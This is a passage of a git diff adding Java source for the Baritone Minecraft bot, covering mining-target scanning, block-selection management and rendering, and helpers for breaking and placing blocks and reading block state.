GoalThreeBlocks(loc); + } else { + // this block has nothing interesting two below, but is symmetric vertically so we can get either feet or head into it + return new GoalTwoBlocks(loc); + } + } + if (upwardGoal) { + // downwardGoal known to be false + // ignore the gap then potential doubleDownward, because we want to path feet into this one and head into upwardGoal + return new GoalBlock(loc); + } + // upwardGoal known to be false, downwardGoal known to be true + if (doubleDownwardGoal && assumeVerticalShaftMine) { + // this block and two below it are goals + // path into the center of the one below, because that includes directly below this one + return new GoalTwoBlocks(loc.down()); + } + // upwardGoal false, downwardGoal true, doubleDownwardGoal false + // just this block and the one immediately below, no others + return new GoalBlock(loc.down()); + } + + private static class GoalThreeBlocks extends GoalTwoBlocks { + + public GoalThreeBlocks(BlockPos pos) { + super(pos); + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return x == this.x && (y == this.y || y == this.y - 1 || y == this.y - 2) && z == this.z; + } + + @Override + public double heuristic(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return GoalBlock.calculate(xDiff, yDiff < -1 ? yDiff + 2 : yDiff == -1 ? 0 : yDiff, zDiff); + } + + @Override + public boolean equals(Object o) { + return super.equals(o); + } + + @Override + public int hashCode() { + return super.hashCode() * 393857768; + } + + @Override + public String toString() { + return String.format( + "GoalThreeBlocks{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } + } + + public List droppedItemsScan() { + if (!Baritone.settings().mineScanDroppedItems.value) { + return Collections.emptyList(); + } + List ret = new ArrayList<>(); + for (Entity entity : ((ClientWorld) ctx.world()).getAllEntities()) { + if (entity instanceof ItemEntity) { + ItemEntity ei = (ItemEntity) entity; + if (filter.has(ei.getItem())) { + ret.add(entity.getPosition()); + } + } + } + ret.addAll(anticipatedDrops.keySet()); + return ret; + } + + public static List searchWorld(CalculationContext ctx, BlockOptionalMetaLookup filter, int max, List alreadyKnown, List blacklist, List dropped) { + List locs = new ArrayList<>(); + List untracked = new ArrayList<>(); + for (BlockOptionalMeta bom : filter.blocks()) { + Block block = bom.getBlock(); + if (CachedChunk.BLOCKS_TO_KEEP_TRACK_OF.contains(block)) { + BetterBlockPos pf = ctx.baritone.getPlayerContext().playerFeet(); + + // maxRegionDistanceSq 2 means adjacent directly or adjacent diagonally; nothing further than that + locs.addAll(ctx.worldData.getCachedWorld().getLocationsOf( + BlockUtils.blockToString(block), + Baritone.settings().maxCachedWorldScanCount.value, + pf.x, + pf.z, + 2 + )); + } else { + untracked.add(block); + } + } + + locs = prune(ctx, locs, filter, max, blacklist, dropped); + + if (!untracked.isEmpty() || (Baritone.settings().extendCacheOnThreshold.value && locs.size() < max)) { + locs.addAll(BaritoneAPI.getProvider().getWorldScanner().scanChunkRadius( + ctx.getBaritone().getPlayerContext(), + filter, + max, + 10, + 32 + )); // maxSearchRadius is NOT sq + } + + locs.addAll(alreadyKnown); + + return prune(ctx, locs, filter, max, blacklist, dropped); + } + + private boolean addNearby() { + List dropped = droppedItemsScan(); + knownOreLocations.addAll(dropped); + BlockPos playerFeet = ctx.playerFeet(); + BlockStateInterface bsi = new BlockStateInterface(ctx); + + + BlockOptionalMetaLookup filter = filterFilter(); + if (filter == null) { + return false; + } + + int searchDist = 10; + double fakedBlockReachDistance = 20; // at least 10 * sqrt(3) with some extra space to account for positioning within the block + for (int x = playerFeet.getX() - searchDist; x <= playerFeet.getX() + searchDist; x++) { + for (int y = playerFeet.getY() - searchDist; y <= playerFeet.getY() + searchDist; y++) { + for (int z = playerFeet.getZ() - searchDist; z <= playerFeet.getZ() + searchDist; z++) { + // crucial to only add blocks we can see because otherwise this + // is an x-ray and it'll get caught + if (filter.has(bsi.get0(x, y, z))) { + BlockPos pos = new BlockPos(x, y, z); + if ((Baritone.settings().legitMineIncludeDiagonals.value && knownOreLocations.stream().anyMatch(ore -> ore.distanceSq(pos) <= 2 /* sq means this is pytha dist <= sqrt(2) */)) || RotationUtils.reachable(ctx, pos, fakedBlockReachDistance).isPresent()) { + knownOreLocations.add(pos); + } + } + } + } + } + knownOreLocations = prune(new CalculationContext(baritone), knownOreLocations, filter, ORE_LOCATIONS_COUNT, blacklist, dropped); + return true; + } + + private static List prune(CalculationContext ctx, List locs2, BlockOptionalMetaLookup filter, int max, List blacklist, List dropped) { + dropped.removeIf(drop -> { + for (BlockPos pos : locs2) { + if (pos.distanceSq(drop) <= 9 && filter.has(ctx.get(pos.getX(), pos.getY(), pos.getZ())) && MineProcess.plausibleToBreak(ctx, pos)) { // TODO maybe drop also has to be supported? no lava below? + return true; + } + } + return false; + }); + List locs = locs2 + .stream() + .distinct() + + // remove any that are within loaded chunks that aren't actually what we want + .filter(pos -> !ctx.bsi.worldContainsLoadedChunk(pos.getX(), pos.getZ()) || filter.has(ctx.get(pos.getX(), pos.getY(), pos.getZ())) || dropped.contains(pos)) + + // remove any that are implausible to mine (encased in bedrock, or touching lava) + .filter(pos -> MineProcess.plausibleToBreak(ctx, pos)) + + .filter(pos -> { + if (Baritone.settings().allowOnlyExposedOres.value) { + return isNextToAir(ctx, pos); + } else { + return true; + } + }) + + .filter(pos -> pos.getY() >= Baritone.settings().minYLevelWhileMining.value) + + .filter(pos -> pos.getY() <= Baritone.settings().maxYLevelWhileMining.value) + + .filter(pos -> !blacklist.contains(pos)) + + .sorted(Comparator.comparingDouble(ctx.getBaritone().getPlayerContext().player().getPosition()::distanceSq)) + .collect(Collectors.toList()); + + if (locs.size() > max) { + return locs.subList(0, max); + } + return locs; + } + + public static boolean isNextToAir(CalculationContext ctx, BlockPos pos) { + int radius = Baritone.settings().allowOnlyExposedOresDistance.value; + for (int dx = -radius; dx <= radius; dx++) { + for (int dy = -radius; dy <= radius; dy++) { + for (int dz = -radius; dz <= radius; dz++) { + if (Math.abs(dx) + Math.abs(dy) + Math.abs(dz) <= radius + && MovementHelper.isTransparent(ctx.getBlock(pos.getX() + dx, pos.getY() + dy, pos.getZ() + dz))) { + return true; + } + } + } + } + return false; + } + + + public static boolean plausibleToBreak(CalculationContext ctx, BlockPos pos) { + if (MovementHelper.getMiningDurationTicks(ctx, pos.getX(), pos.getY(), pos.getZ(), ctx.bsi.get0(pos), true) >= COST_INF) { + return false; + } + + // bedrock above and below makes it implausible, otherwise we're good + return !(ctx.bsi.get0(pos.up()).getBlock() == Blocks.BEDROCK && ctx.bsi.get0(pos.down()).getBlock() == Blocks.BEDROCK); + } + + @Override + public void mineByName(int quantity, String... blocks) { + mine(quantity, new BlockOptionalMetaLookup(blocks)); + } + + @Override + public void mine(int quantity, BlockOptionalMetaLookup filter) { + this.filter = filter; + if (this.filterFilter() == null) { + this.filter = null; + } + this.desiredQuantity = quantity; + this.knownOreLocations = new ArrayList<>(); + this.blacklist = new ArrayList<>(); + this.branchPoint = null; + this.branchPointRunaway = null; + this.anticipatedDrops = new HashMap<>(); + if (filter != null) { + rescan(new ArrayList<>(), new CalculationContext(baritone)); + } + } + + private BlockOptionalMetaLookup filterFilter() { + if (this.filter == null) { + return null; + } + if (!Baritone.settings().allowBreak.value) { + BlockOptionalMetaLookup f = new BlockOptionalMetaLookup(this.filter.blocks() + .stream() + .filter(e -> Baritone.settings().allowBreakAnyway.value.contains(e.getBlock())) + .toArray(BlockOptionalMeta[]::new)); + if (f.blocks().isEmpty()) { + logDirect("Unable to mine when allowBreak is false and target block is not in allowBreakAnyway!"); + return null; + } + return f; + } + return filter; + } +} diff --git a/src/baritone/selection/Selection.java b/src/baritone/selection/Selection.java new file mode 100644 index 00000000..df8e06c1 --- /dev/null +++ b/src/baritone/selection/Selection.java @@ -0,0 +1,130 @@ +package baritone.selection; + +import baritone.api.selection.ISelection; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.Direction; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.vector.Vector3i; + +public class Selection implements ISelection { + + private final BetterBlockPos pos1; + private final BetterBlockPos pos2; + private final BetterBlockPos min; + private final BetterBlockPos max; + private final Vector3i size; + private final AxisAlignedBB aabb; + + public Selection(BetterBlockPos pos1, BetterBlockPos pos2) { + this.pos1 = pos1; + this.pos2 = pos2; + + this.min = new BetterBlockPos( + Math.min(pos1.x, pos2.x), + Math.min(pos1.y, pos2.y), + Math.min(pos1.z, pos2.z) + ); + + this.max = new BetterBlockPos( + Math.max(pos1.x, pos2.x), + Math.max(pos1.y, pos2.y), + Math.max(pos1.z, pos2.z) + ); + + this.size = new Vector3i( + max.x - min.x + 1, + max.y - min.y + 1, + max.z - min.z + 1 + ); + + this.aabb = new AxisAlignedBB(this.min, this.max.add(1, 1, 1)); + } + + @Override + public BetterBlockPos pos1() { + return pos1; + } + + @Override + public BetterBlockPos pos2() { + return pos2; + } + + @Override + public BetterBlockPos min() { + return min; + } + + @Override + public BetterBlockPos max() { + return max; + } + + @Override + public Vector3i size() { + return size; + } + + @Override + public AxisAlignedBB aabb() { + return aabb; + } + + @Override + public int hashCode() { + return pos1.hashCode() ^ pos2.hashCode(); + } + + @Override + public String toString() { + return String.format("Selection{pos1=%s,pos2=%s}", pos1, pos2); + } + + /** + * Since it might not be immediately obvious what this does, let me explain. + *

+ * Let's say you specify Direction.UP, this functions returns if pos2 is the highest BlockPos. + * If you specify Direction.DOWN, it returns if pos2 is the lowest BlockPos. + * + * @param facing The direction to check. + * @return {@code true} if pos2 is further in that direction than pos1, {@code false} if it isn't, and something + * else if they're both at the same position on that axis (it really doesn't matter) + */ + private boolean isPos2(Direction facing) { + boolean negative = facing.getAxisDirection().getOffset() < 0; + + switch (facing.getAxis()) { + case X: + return (pos2.x > pos1.x) ^ negative; + case Y: + return (pos2.y > pos1.y) ^ negative; + case Z: + return (pos2.z > pos1.z) ^ negative; + default: + throw new IllegalStateException("Bad Direction.Axis"); + } + } + + @Override + public ISelection expand(Direction direction, int blocks) { + if (isPos2(direction)) { + return new Selection(pos1, pos2.offset(direction, blocks)); + } else { + return new Selection(pos1.offset(direction, blocks), pos2); + } + } + + @Override + public ISelection contract(Direction direction, int blocks) { + if (isPos2(direction)) { + return new Selection(pos1.offset(direction, blocks), pos2); + } else { + return new Selection(pos1, pos2.offset(direction, blocks)); + } + } + + @Override + public ISelection shift(Direction direction, int blocks) { + return new Selection(pos1.offset(direction, blocks), pos2.offset(direction, blocks)); + } +} diff --git a/src/baritone/selection/SelectionManager.java b/src/baritone/selection/SelectionManager.java new file mode 100644 index 00000000..14e6d0c9 --- /dev/null +++ b/src/baritone/selection/SelectionManager.java @@ -0,0 +1,118 @@ +package baritone.selection; + +import baritone.Baritone; +import baritone.api.selection.ISelection; +import baritone.api.selection.ISelectionManager; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.Direction; + +import java.util.LinkedList; +import java.util.ListIterator; + +public class SelectionManager implements ISelectionManager { + + private final LinkedList selections = new LinkedList<>(); + private ISelection[] selectionsArr = new ISelection[0]; + + public SelectionManager(Baritone baritone) { + new SelectionRenderer(baritone, this); + } + + private void resetSelectionsArr() { + selectionsArr = selections.toArray(new ISelection[0]); + } + + @Override + public synchronized ISelection addSelection(ISelection selection) { + selections.add(selection); + resetSelectionsArr(); + return selection; + } + + @Override + public ISelection addSelection(BetterBlockPos pos1, BetterBlockPos pos2) { + return addSelection(new Selection(pos1, pos2)); + } + + @Override + public synchronized ISelection removeSelection(ISelection selection) { + selections.remove(selection); + resetSelectionsArr(); + return selection; + } + + @Override + public synchronized ISelection[] removeAllSelections() { + ISelection[] selectionsArr = getSelections(); + selections.clear(); + resetSelectionsArr(); + return selectionsArr; + } + + @Override + public ISelection[] getSelections() { + return selectionsArr; + } + + @Override + public synchronized ISelection getOnlySelection() { + if (selections.size() == 1) { + return selections.peekFirst(); + } + + return null; + } + + @Override + public ISelection getLastSelection() { + return selections.peekLast(); + } + + @Override + public synchronized ISelection expand(ISelection selection, Direction direction, int blocks) { + for (ListIterator it = selections.listIterator(); it.hasNext(); ) { + ISelection current = it.next(); + + if (current == selection) { + it.remove(); + it.add(current.expand(direction, blocks)); + resetSelectionsArr(); + return it.previous(); + } + } + + return null; + } + + @Override + public synchronized ISelection contract(ISelection selection, Direction direction, int blocks) { + for (ListIterator it = selections.listIterator(); it.hasNext(); ) { + ISelection current = it.next(); + + if (current == selection) { + it.remove(); + it.add(current.contract(direction, blocks)); + resetSelectionsArr(); + return it.previous(); + } + } + + return null; + } + + @Override + public synchronized ISelection shift(ISelection selection, Direction direction, int blocks) { + for (ListIterator it = selections.listIterator(); it.hasNext(); ) { + ISelection current = it.next(); + + if (current == selection) { + it.remove(); + it.add(current.shift(direction, blocks)); + resetSelectionsArr(); + return it.previous(); + } + } + + return null; + } +} diff --git a/src/baritone/selection/SelectionRenderer.java b/src/baritone/selection/SelectionRenderer.java new file mode 100644 index 00000000..36ac5ac3 --- /dev/null +++ b/src/baritone/selection/SelectionRenderer.java @@ -0,0 +1,58 @@ +package baritone.selection; + +import baritone.Baritone; +import baritone.api.event.events.RenderEvent; +import baritone.api.event.listener.AbstractGameEventListener; +import baritone.api.selection.ISelection; +import baritone.utils.IRenderer; +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.util.math.AxisAlignedBB; + +public class SelectionRenderer implements IRenderer, AbstractGameEventListener { + + public static final double SELECTION_BOX_EXPANSION = .005D; + + private final SelectionManager manager; + + SelectionRenderer(Baritone baritone, SelectionManager manager) { + this.manager = manager; + baritone.getGameEventHandler().registerEventListener(this); + } + + public static void renderSelections(MatrixStack stack, ISelection[] selections) { + float opacity = settings.selectionOpacity.value; + boolean ignoreDepth = settings.renderSelectionIgnoreDepth.value; + float lineWidth = settings.selectionLineWidth.value; + + if (!settings.renderSelection.value || selections.length == 0) { + return; + } + + IRenderer.startLines(settings.colorSelection.value, opacity, lineWidth, ignoreDepth); + + for (ISelection selection : selections) { + IRenderer.emitAABB(stack, selection.aabb(), SELECTION_BOX_EXPANSION); + } + + if (settings.renderSelectionCorners.value) { + IRenderer.glColor(settings.colorSelectionPos1.value, opacity); + + for (ISelection selection : selections) { + IRenderer.emitAABB(stack, new AxisAlignedBB(selection.pos1(), selection.pos1().add(1, 1, 1))); + } + + IRenderer.glColor(settings.colorSelectionPos2.value, opacity); + + for (ISelection selection : selections) { + IRenderer.emitAABB(stack, new AxisAlignedBB(selection.pos2(), selection.pos2().add(1, 1, 1))); + } + } + + IRenderer.endLines(ignoreDepth); + } + + @Override + public void onRenderPass(RenderEvent event) { + renderSelections(event.getModelViewStack(), manager.getSelections()); + } +} diff --git a/src/baritone/utils/BaritoneProcessHelper.java b/src/baritone/utils/BaritoneProcessHelper.java new file mode 100644 index 00000000..e9ce1273 --- /dev/null +++ b/src/baritone/utils/BaritoneProcessHelper.java @@ -0,0 +1,39 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import baritone.api.process.IBaritoneProcess; +import baritone.api.utils.Helper; +import baritone.api.utils.IPlayerContext; + +public abstract class BaritoneProcessHelper implements IBaritoneProcess, Helper { + + protected final Baritone baritone; + protected final IPlayerContext ctx; + + public BaritoneProcessHelper(Baritone baritone) { + this.baritone = baritone; + this.ctx = baritone.getPlayerContext(); + } + + @Override + public boolean isTemporary() { + return false; + } +} diff --git a/src/baritone/utils/BlockBreakHelper.java b/src/baritone/utils/BlockBreakHelper.java new file mode 100644 index 00000000..5e11912f --- /dev/null +++ b/src/baritone/utils/BlockBreakHelper.java @@ -0,0 +1,74 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.api.utils.IPlayerContext; +import net.minecraft.util.Hand; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceResult; + +/** + * @author Brady + * @since 8/25/2018 + */ +public final class BlockBreakHelper { + + private final IPlayerContext ctx; + private boolean didBreakLastTick; + + BlockBreakHelper(IPlayerContext ctx) { + this.ctx = ctx; + } + + public void stopBreakingBlock() { + // The player controller will never be null, but the player can be + if (ctx.player() != null && didBreakLastTick) { + if (!ctx.playerController().hasBrokenBlock()) { + // insane bypass to check breaking succeeded + ctx.playerController().setHittingBlock(true); + } + ctx.playerController().resetBlockRemoving(); + didBreakLastTick = false; + } + } + + public void tick(boolean isLeftClick) { + RayTraceResult trace = ctx.objectMouseOver(); + boolean isBlockTrace = trace != null && trace.getType() == RayTraceResult.Type.BLOCK; + + if (isLeftClick && isBlockTrace) { + if (!didBreakLastTick) { + ctx.playerController().syncHeldItem(); + ctx.playerController().clickBlock(((BlockRayTraceResult) trace).getPos(), ((BlockRayTraceResult) trace).getFace()); + ctx.player().swingArm(Hand.MAIN_HAND); + } + + // Attempt to break the block + if (ctx.playerController().onPlayerDamageBlock(((BlockRayTraceResult) trace).getPos(), ((BlockRayTraceResult) trace).getFace())) { + ctx.player().swingArm(Hand.MAIN_HAND); + } + + ctx.playerController().setHittingBlock(false); + + didBreakLastTick = true; + } else if (didBreakLastTick) { + stopBreakingBlock(); + didBreakLastTick = false; + } + } +} diff --git a/src/baritone/utils/BlockPlaceHelper.java b/src/baritone/utils/BlockPlaceHelper.java new file mode 100644 index 00000000..0ce42b01 --- /dev/null +++ b/src/baritone/utils/BlockPlaceHelper.java @@ -0,0 +1,56 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import baritone.api.utils.IPlayerContext; +import net.minecraft.util.ActionResultType; +import net.minecraft.util.Hand; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceResult; + +public class BlockPlaceHelper { + + private final IPlayerContext ctx; + private int rightClickTimer; + + BlockPlaceHelper(IPlayerContext playerContext) { + this.ctx = playerContext; + } + + public void tick(boolean rightClickRequested) { + if (rightClickTimer > 0) { + rightClickTimer--; + return; + } + RayTraceResult mouseOver = ctx.objectMouseOver(); + if (!rightClickRequested || ctx.player().isRowingBoat() || mouseOver == null || mouseOver.getType() != RayTraceResult.Type.BLOCK) { + return; + } + rightClickTimer = Baritone.settings().rightClickSpeed.value; + for (Hand hand : Hand.values()) { + if (ctx.playerController().processRightClickBlock(ctx.player(), ctx.world(), hand, (BlockRayTraceResult) mouseOver) == ActionResultType.SUCCESS) { + ctx.player().swingArm(hand); + return; + } + if (!ctx.player().getHeldItem(hand).isEmpty() && ctx.playerController().processRightClick(ctx.player(), ctx.world(), hand) == ActionResultType.SUCCESS) { + return; + } + } + } +} diff --git a/src/baritone/utils/BlockStateInterface.java b/src/baritone/utils/BlockStateInterface.java new file mode 100644 index 00000000..80d90086 --- /dev/null +++ b/src/baritone/utils/BlockStateInterface.java @@ -0,0 +1,176 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import baritone.api.utils.IPlayerContext; +import baritone.cache.CachedRegion; +import baritone.cache.WorldData; +import baritone.utils.accessor.IClientChunkProvider; +import baritone.utils.pathing.BetterWorldBorder; +import it.unimi.dsi.fastutil.longs.Long2ObjectMap; +import it.unimi.dsi.fastutil.longs.Long2ObjectOpenHashMap; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.client.multiplayer.ClientChunkProvider; +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.IBlockReader; +import net.minecraft.world.World; +import net.minecraft.world.chunk.Chunk; +import net.minecraft.world.chunk.ChunkSection; +import net.minecraft.world.chunk.ChunkStatus; + +/** + * Wraps get for chuck caching capability + * + * @author leijurv + */ +public class BlockStateInterface { + + private final ClientChunkProvider provider; + private final WorldData worldData; + public final BlockPos.Mutable isPassableBlockPos; + public final IBlockReader access; + public final BetterWorldBorder worldBorder; + + private Chunk prev = null; + private CachedRegion prevCached = null; + + private final boolean useTheRealWorld; + + private static final BlockState AIR = Blocks.AIR.getDefaultState(); + + public BlockStateInterface(IPlayerContext ctx) { + this(ctx, false); + } + + public BlockStateInterface(IPlayerContext ctx, boolean copyLoadedChunks) { + final World world = ctx.world(); + this.worldBorder = new BetterWorldBorder(world.getWorldBorder()); + this.worldData = (WorldData) ctx.worldData(); + if (copyLoadedChunks) { + this.provider = ((IClientChunkProvider) world.getChunkProvider()).createThreadSafeCopy(); + } else { + this.provider = (ClientChunkProvider) world.getChunkProvider(); + } + this.useTheRealWorld = !Baritone.settings().pathThroughCachedOnly.value; + if (!ctx.minecraft().isOnExecutionThread()) { + throw new IllegalStateException(); + } + this.isPassableBlockPos = new BlockPos.Mutable(); + this.access = new BlockStateInterfaceAccessWrapper(this); + } + + public boolean worldContainsLoadedChunk(int blockX, int blockZ) { + return provider.chunkExists(blockX >> 4, blockZ >> 4); + } + + public static Block getBlock(IPlayerContext ctx, BlockPos pos) { // won't be called from the pathing thread because the pathing thread doesn't make a single blockpos pog + return get(ctx, pos).getBlock(); + } + + public static BlockState get(IPlayerContext ctx, BlockPos pos) { + return new BlockStateInterface(ctx).get0(pos.getX(), pos.getY(), pos.getZ()); // immense iq + // can't just do world().get because that doesn't work for out of bounds + // and toBreak and stuff fails when the movement is instantiated out of load range but it's not able to BlockStateInterface.get what it's going to walk on + } + + public BlockState get0(BlockPos pos) { + return get0(pos.getX(), pos.getY(), pos.getZ()); + } + + public BlockState get0(int x, int y, int z) { // Mickey resigned + + // Invalid vertical position + if (y < 0 || y >= 256) { + return AIR; + } + + if (useTheRealWorld) { + Chunk cached = prev; + // there's great cache locality in block state lookups + // generally it's within each movement + // if it's the same chunk as last time + // we can just skip the mc.world.getChunk lookup + // which is a Long2ObjectOpenHashMap.get + // see issue #113 + if (cached != null && cached.getPos().x == x >> 4 && cached.getPos().z == z >> 4) { + return getFromChunk(cached, x, y, z); + } + Chunk chunk = provider.getChunk(x >> 4, z >> 4, ChunkStatus.FULL, false); + if (chunk != null && !chunk.isEmpty()) { + prev = chunk; + return getFromChunk(chunk, x, y, z); + } + } + // same idea here, skip the Long2ObjectOpenHashMap.get if at all possible + // except here, it's 512x512 tiles instead of 16x16, so even better repetition + CachedRegion cached = prevCached; + if (cached == null || cached.getX() != x >> 9 || cached.getZ() != z >> 9) { + if (worldData == null) { + return AIR; + } + CachedRegion region = worldData.cache.getRegion(x >> 9, z >> 9); + if (region == null) { + return AIR; + } + prevCached = region; + cached = region; + } + BlockState type = cached.getBlock(x & 511, y, z & 511); + if (type == null) { + return AIR; + } + return type; + } + + public boolean isLoaded(int x, int z) { + Chunk prevChunk = prev; + if (prevChunk != null && prevChunk.getPos().x == x >> 4 && prevChunk.getPos().z == z >> 4) { + return true; + } + prevChunk = provider.getChunk(x >> 4, z >> 4, ChunkStatus.FULL, false); + if (prevChunk != null && !prevChunk.isEmpty()) { + prev = prevChunk; + return true; + } + CachedRegion prevRegion = prevCached; + if (prevRegion != null && prevRegion.getX() == x >> 9 && prevRegion.getZ() == z >> 9) { + return prevRegion.isCached(x & 511, z & 511); + } + if (worldData == null) { + return false; + } + prevRegion = worldData.cache.getRegion(x >> 9, z >> 9); + if (prevRegion == null) { + return false; + } + prevCached = prevRegion; + return prevRegion.isCached(x & 511, z & 511); + } + + // get the block at x,y,z from this chunk WITHOUT creating a single blockpos object + public static BlockState getFromChunk(Chunk chunk, int x, int y, int z) { + ChunkSection section = chunk.getSections()[y >> 4]; + if (ChunkSection.isEmpty(section)) { + return AIR; + } + return section.getBlockState(x & 15, y & 15, z & 15); + } +} diff --git a/src/baritone/utils/BlockStateInterfaceAccessWrapper.java b/src/baritone/utils/BlockStateInterfaceAccessWrapper.java new file mode 100644 index 00000000..cc0aef23 --- /dev/null +++ b/src/baritone/utils/BlockStateInterfaceAccessWrapper.java @@ -0,0 +1,57 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import net.minecraft.block.BlockState; +import net.minecraft.fluid.FluidState; +import net.minecraft.tileentity.TileEntity; +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.IBlockReader; + +import javax.annotation.Nullable; + +/** + * @author Brady + * @since 11/5/2019 + */ +@SuppressWarnings("NullableProblems") +public final class BlockStateInterfaceAccessWrapper implements IBlockReader { + + private final BlockStateInterface bsi; + + BlockStateInterfaceAccessWrapper(BlockStateInterface bsi) { + this.bsi = bsi; + } + + @Nullable + @Override + public TileEntity getTileEntity(BlockPos pos) { + return null; + } + + @Override + public BlockState getBlockState(BlockPos pos) { + // BlockStateInterface#get0(BlockPos) btfo! + return this.bsi.get0(pos.getX(), pos.getY(), pos.getZ()); + } + + @Override + public FluidState getFluidState(BlockPos blockPos) { + return getBlockState(blockPos).getFluidState(); + } +} diff --git a/src/baritone/utils/GuiClick.java b/src/baritone/utils/GuiClick.java new file mode 100644 index 00000000..272bde74 --- /dev/null +++ b/src/baritone/utils/GuiClick.java @@ -0,0 +1,153 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.utils; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Helper; +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.entity.Entity; +import net.minecraft.util.math.*; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.util.math.vector.Vector4f; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; + +import java.awt.*; +import java.util.Collections; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; +import static org.lwjgl.opengl.GL11.*; + +public class GuiClick extends Screen implements Helper { + + private Matrix4f projectionViewMatrix; + + private BlockPos clickStart; + private BlockPos currentMouseOver; + + public GuiClick() { + super(new StringTextComponent("CLICK")); + } + + @Override + public boolean isPauseScreen() { + return false; + } + + @Override + public void render(MatrixStack stack, int mouseX, int mouseY, float partialTicks) { + double mx = mc.mouseHelper.getMouseX(); + double my = mc.mouseHelper.getMouseY(); + + my = mc.getMainWindow().getHeight() - my; + my *= mc.getMainWindow().getFramebufferHeight() / (double) mc.getMainWindow().getHeight(); + mx *= mc.getMainWindow().getFramebufferWidth() / (double) mc.getMainWindow().getWidth(); + Vector3d near = toWorld(mx, my, 0); + Vector3d far = toWorld(mx, my, 1); // "Use 0.945 that's what stack overflow says" - leijurv + + if (near != null && far != null) { + /// + Vector3d viewerPos = new Vector3d(PathRenderer.posX(), PathRenderer.posY(), PathRenderer.posZ()); + ClientPlayerEntity player = BaritoneAPI.getProvider().getPrimaryBaritone().getPlayerContext().player(); + RayTraceResult result = player.world.rayTraceBlocks(new RayTraceContext(near.add(viewerPos), far.add(viewerPos), RayTraceContext.BlockMode.OUTLINE, RayTraceContext.FluidMode.NONE, player)); + if (result != null && result.getType() == RayTraceResult.Type.BLOCK) { + currentMouseOver = ((BlockRayTraceResult) result).getPos(); + } + } + } + + @Override + public boolean mouseReleased(double mouseX, double mouseY, int mouseButton) { + if (currentMouseOver != null) { //Catch this, or else a click into void will result in a crash + if (mouseButton == 0) { + if (clickStart != null && !clickStart.equals(currentMouseOver)) { + 